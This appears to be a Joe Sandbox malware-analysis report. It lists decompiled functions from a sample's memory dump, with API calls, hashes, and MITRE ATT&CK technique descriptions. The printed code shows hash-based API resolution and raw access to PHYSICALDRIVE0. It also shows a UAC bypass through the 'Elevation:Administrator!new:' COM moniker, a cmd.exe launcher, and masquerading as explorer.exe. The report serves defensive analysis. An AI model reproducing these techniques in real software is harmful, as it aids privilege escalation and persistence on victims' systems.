Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID:
API String ID: 3728205514-0
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: 440e2cccf5b2eee5e805295a847dbf5b89595b879cce5eb2c31150a095f19529
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: B23195B0940208FBCB04DF90DCD5FAD7775AB48701F1081AAEA01972D0E7B4AA85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 024D8BC2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 024D4A4B
CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 024D8BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 024D8BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 024D8C07

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \\.\PHYSICALDRIVE0
API String ID: 33631002-1557481562
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 6276b439b62fbae2257619e73c33fbfe8a26cf345e7fde173d8772be00425c40
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 97217F38600348EFD718CF58DC56F99BBB4EB08701F10C0AAE9059B3E1D7B0A640CB58

Uniqueness

Uniqueness Score: -1.00%

Function 024D8BBF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 024D4A4B
CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 024D8BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 024D8BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 024D8C07

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \\.\PHYSICALDRIVE0
API String ID: 33631002-1557481562
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: cc6acdff0ef0fb68597d71b9d14c3310f01042e292c269a335e7a7158627d676
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: 7A214F38644348EFD718CF68DD55F99BBB5EB48701F10C0AAE9099B3E1D7B09644CB58

Uniqueness

Uniqueness Score: -1.00%

Function 024D8BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 024D4A4B
CreateFileA.KERNEL32(004133B8,00000000,00000003,00000000,00000003,00000000,00000000), ref: 024D8BD9
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 024D8BFB

Strings

\\.\PHYSICALDRIVE0, xrefs: 024D8C07

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \\.\PHYSICALDRIVE0
API String ID: 33631002-1557481562
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 22ce4c69e3758dc7cd1ff8e5b5c993e50e045eb0820a6549fcf4c28f809edc58
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 77216D38604348EFD708CF58DC55FA9BBB4EB08711F10C0AAE8099B3E1D7B09640CB58

Uniqueness

Uniqueness Score: -1.00%

Function 024D5EB3 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 024D14AB
LocalFree.KERNEL32(00000000), ref: 024D3E3A
GetTokenInformation.ADVAPI32(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 024D7CC6
LocalAlloc.KERNEL32(00000000,00000000), ref: 024D7CD2
GetTokenInformation.ADVAPI32(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 024D7CED
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 024D9EFB

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocCloseFreeHandleOpenProcess
String ID:
API String ID: 169919644-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 06211aa4f07b8a17e5d3d1b13a13fef41995ee4b85ba8fbcd6dafa6722e418cc
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: 17311CB4900208EFDB14CFE4D958BAEBBB4BB48305F10819AF505A7294D7749B44DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D1F6() {
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr _t19;
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t83;

				 *0x46c530 = GetModuleHandleA("kernel32.dll");
				_t2 =  *0x46c530; // 0x74700000
				 *0x46cfcc = E0040C2B9(_t83, _t2, 0xcb2370a1);
				_t39 =  *0x46c530; // 0x74700000
				 *0x46d008 = E0040C2B9(_t83, _t39, 0xe5c5590f);
				_t48 =  *0x46c530; // 0x74700000
				 *0x46d004 = E0040C2B9(_t83, _t48, 0xd00ee561);
				_t6 =  *0x46c530; // 0x74700000
				 *0x46d000 = E0040C2B9(_t83, _t6, 0x55277bdf);
				_t40 =  *0x46c530; // 0x74700000
				 *0x46cfec = E0040C2B9(_t83, _t40, 0x45a95ed9);
				_t49 =  *0x46c530; // 0x74700000
				 *0x46cfe8 = E0040C2B9(_t83, _t49, 0x30b3f45c);
				_t10 =  *0x46c530; // 0x74700000
				 *0x46cfe4 = E0040C2B9(_t83, _t10, 0x3712cedd);
				_t41 =  *0x46c530; // 0x74700000
				 *0x46cfdc = E0040C2B9(_t83, _t41, 0x603a5cda);
				_t50 =  *0x46c530; // 0x74700000
				 *0x46cfd8 = E0040C2B9(_t83, _t50, 0xe212a177);
				_t14 =  *0x46c530; // 0x74700000
				 *0x46cff0 = E0040C2B9(_t83, _t14, 0x8f3ad528);
				_t42 =  *0x46c530; // 0x74700000
				 *0x46cfd4 = E0040C2B9(_t83, _t42, 0x58735ed4);
				_t51 =  *0x46c530; // 0x74700000
				 *0x46cfd0 = E0040C2B9(_t83, _t51, 0x37055488);
				 *0x46c52c = LoadLibraryA("advapi32.dll");
				_t19 =  *0x46c52c; // 0x76b10000
				 *0x46cffc = E0040C2B9(_t83, _t19, 0xf1b3fb9d);
				_t43 =  *0x46c52c; // 0x76b10000
				 *0x46cff8 = E0040C2B9(_t83, _t43, 0xa081a5bd);
				_t52 =  *0x46c52c; // 0x76b10000
				 *0x46cff4 = E0040C2B9(_t83, _t52, 0x51b83d3b);
				_t23 =  *0x46c530; // 0x74700000
				 *0x46cfe0 = E0040C2B9(_t83, _t23, 0xac75b4fd);
				 *0x46c528 = LoadLibraryA("ntdll.dll");
				_t44 =  *0x46c528; // 0x77d00000
				 *0x46cfc8 = E0040C2B9(_t83, _t44, 0xed6cabb3);
				_t53 =  *0x46c528; // 0x77d00000
				 *0x46cfc4 = E0040C2B9(_t83, _t53, 0x65ce569d);
				_t28 =  *0x46c528; // 0x77d00000
				 *0x46cfbc = E0040C2B9(_t83, _t28, 0x11b68aa8);
				_t45 =  *0x46c528; // 0x77d00000
				 *0x46cfb8 = E0040C2B9(_t83, _t45, 0x3b36e07a);
				_t54 =  *0x46c528; // 0x77d00000
				 *0x46cfb4 = E0040C2B9(_t83, _t54, 0x63a35b55);
				_t32 =  *0x46c528; // 0x77d00000
				 *0x46cfc0 = E0040C2B9(_t83, _t32, 0xfd3a0e6a);
				_t46 =  *0x46c528; // 0x77d00000
				 *0x46cfb0 = E0040C2B9(_t83, _t46, 0x2c434735);
				_t55 =  *0x46c528; // 0x77d00000
				 *0x46cfac = E0040C2B9(_t83, _t55, 0x18f25cd6);
				_t36 =  *0x46c528; // 0x77d00000
				 *0x46cfa8 = E0040C2B9(_t83, _t36, 0x7919b00);
				_t47 =  *0x46c528; // 0x77d00000
				_t38 = E0040C2B9(_t83, _t47, 0xb272ea3d);
				 *0x46cfa4 = _t38;
				return _t38;
			}

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

advapi32.dll, xrefs: 0040D331
kernel32.dll, xrefs: 0040D1F9
ntdll.dll, xrefs: 0040D3A3

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405312(WCHAR* _a4, intOrPtr _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				unsigned int _v16;
				intOrPtr _v20;
				short _v22;
				char _v24;
				void* _v32;

				if(_a12 <= 0x7ffd) {
					_v12 = _a12;
				} else {
					_v12 = 0x7ffd;
				}
				E0040335C( &_v32,  &_v32, 8);
				RtlInitUnicodeString( &_v32, _a4);
				_v20 = _a8;
				_v24 = 0;
				_v22 = _v12 << 1;
				_v16 = 0;
				_v8 =  *0x46cfc0(0,  &_v32,  &_v24,  &_v16);
				if(_v8 >= 0) {
					L7:
					return _v16 >> 1;
				} else {
					if(_v8 != 0xc0000023) {
						goto L1;
					}
					goto L7;
				}
				L1:
				RtlRestoreLastWin32Error(RtlNtStatusToDosError(_v8));
				return 0;
			}

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 024D129F Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 024D12A9
GetSidSubAuthority.ADVAPI32 ref: 024D12BF
CloseHandle.KERNEL32(00000000), ref: 024D14AB
LocalFree.KERNEL32(00000000), ref: 024D3E3A
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 024D9EFB

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: Authority$CloseCountFreeHandleLocalOpenProcessToken
String ID:
API String ID: 348947546-0
Opcode ID: 307f95fa8681cc8297f1b98fe92d0382cd4f0cc593fbc7a0e59b5724dfbaa28a
Instruction ID: 01e0e544e774dec2996e7f9ba7cdb80217d2c6c0972f8cac5346b3bad75de7ce
Opcode Fuzzy Hash: 307f95fa8681cc8297f1b98fe92d0382cd4f0cc593fbc7a0e59b5724dfbaa28a
Instruction Fuzzy Hash: 3501FBB4904204DFCB14CFA4D598AAEBBB4BB49202F10819AE80197354D774DF41DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00409727(void* __ecx, signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v24;
				char _v44;
				char _v564;
				signed char _t19;
				signed int* _t34;

				_t34 = __edx;
				_v8 = 0x80004005;
				if(_a4 == 0) {
					return _v8;
				}
				_t19 = E00405C31(__ecx, _a4);
				if(_t19 <= 0x40) {
					 *_t34 =  *_t34 | _t19;
					 *_t19 =  *_t19 + _t19;
					E0040335C( &_v564);
					E00408BFE( &_v564,  &_v564, L"Elevation:Administrator!new:");
					E0040B160( &_v564, _a4);
					E0040335C( &_v564,  &_v44, 0x24);
					_v44 = 0x24;
					_v24 = _a8;
					return  *0x413080( &_v564,  &_v44, _a12, _a16,  &_v564, 0x208);
				}
				return _v8;
			}

0x00409727
0x00409730
0x0040973b
0x00000000
0x00409741
0x0040210a
0x00402115
0x0040d183
0x0040d185
0x0040d18e
0x0040d1a2
0x0040d1b5
0x0040d1c3
0x0040d1cb
0x0040d1d5
0x00000000
0x0040d1eb
0x00000000

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040D17F(void* __eax, void* __edx, void* __eflags) {
				void* _t13;

				_t13 = __eax;
				asm("scasd");
				asm("movsb");
				if (__eflags < 0) goto L4;
				 *__edx =  *__edx | __al;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				__ecx = __ebp - 0x230;
				__eax = E0040335C(__ecx);
				__esp = __esp + 8;
				__edx = __ebp - 0x230;
				E00408BFE(__ecx, __ebp - 0x230, L"Elevation:Administrator!new:") =  *((intOrPtr*)(__ebp + 8));
				__ecx = __ebp - 0x230;
				__eax = E0040B160(__ebp - 0x230,  *((intOrPtr*)(__ebp + 8)));
				__edx = __ebp - 0x28;
				__eax = E0040335C(__ecx, __ebp - 0x28, 0x24);
				 *(__ebp - 0x28) = 0x24;
				__eax =  *((intOrPtr*)(__ebp + 0xc));
				 *((intOrPtr*)(__ebp - 0x14)) =  *((intOrPtr*)(__ebp + 0xc));
				__ecx =  *((intOrPtr*)(__ebp + 0x14));
				__edx =  *(__ebp + 0x10);
				__eax = __ebp - 0x28;
				__ecx = __ebp - 0x230;
				_t13 =  *0x413080(__ebp - 0x230, __ebp - 0x28,  *(__ebp + 0x10),  *((intOrPtr*)(__ebp + 0x14)), __ecx, 0x208);
				return _t13;
			}

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004063CE() {
				void* _t11;
				void* _t15;
				void* _t16;
				void* _t17;

				_push(ds);
				if(E00405C4C() >= 0x2000) {
					E00405D04(_t11, _t15, _t16, _t17 - 0x624, 0);
				} else {
					E0040335C(__ebp - 0x20c, __ebp - 0x20c, 0x20a) = E00405312(L"%systemroot%\\system32\\cmd.exe", __ebp - 0x20c, 0x104);
					__ebp - 0x418 = E00408BFE(__ecx, __ebp - 0x418, L"/C ");
					__ecx = __ebp - 0x624;
					E0040B160(__ebp - 0x418, __ebp - 0x624) = __ebp - 0x418;
					__ecx = __ebp - 0x20c;
					E00405D04(__ebx, __edi, __esi, __ebp - 0x20c, __ebp - 0x418);
				}
				ExitProcess(0);
			}

0x004063ce
0x004063dc
0x00402608
0x004063e2
0x00406407
0x0040641b
0x00406423
0x00406439
0x00406440
0x00406447
0x0040644c
0x0040a945

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: e58d919228d2999fb42e63e86339d7c771dc9b38e1630fc07efea9b8c1ce01d4
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: e58d919228d2999fb42e63e86339d7c771dc9b38e1630fc07efea9b8c1ce01d4
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004050A2(void* __ecx, struct _EXCEPTION_RECORD _a4, intOrPtr _a8, WCHAR* _a12) {
				intOrPtr _v8;
				intOrPtr _t12;

				_push(__ecx);
				_v8 = _a8;
				_t12 =  *((intOrPtr*)(_a4 + 0x18));
				if(_t12 ==  *((intOrPtr*)(_v8 + 8))) {
					__ecx =  *0x46c2d0; // 0x900000
					RtlInitUnicodeString(_a4 + 0x24, __ecx);
					__eax = _a4;
					__eax = _a4 + 0x2c;
					RtlInitUnicodeString(__eax, L"explorer.exe");
					__ecx = _a12;
					 *_a12 = 1;
					return __eax;
				}
				 *_a12 = 0;
				return _t12;
			}

0x004050a5
0x004050a9
0x004050b2
0x004050b8
0x004050be
0x004050cc
0x004050d7
0x004050da
0x004050de
0x004050e4
0x004050e7
0x00000000
0x004050e7
0x004043bf
0x00000000

APIs

RtlInitUnicodeString.NTDLL(?,00900000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

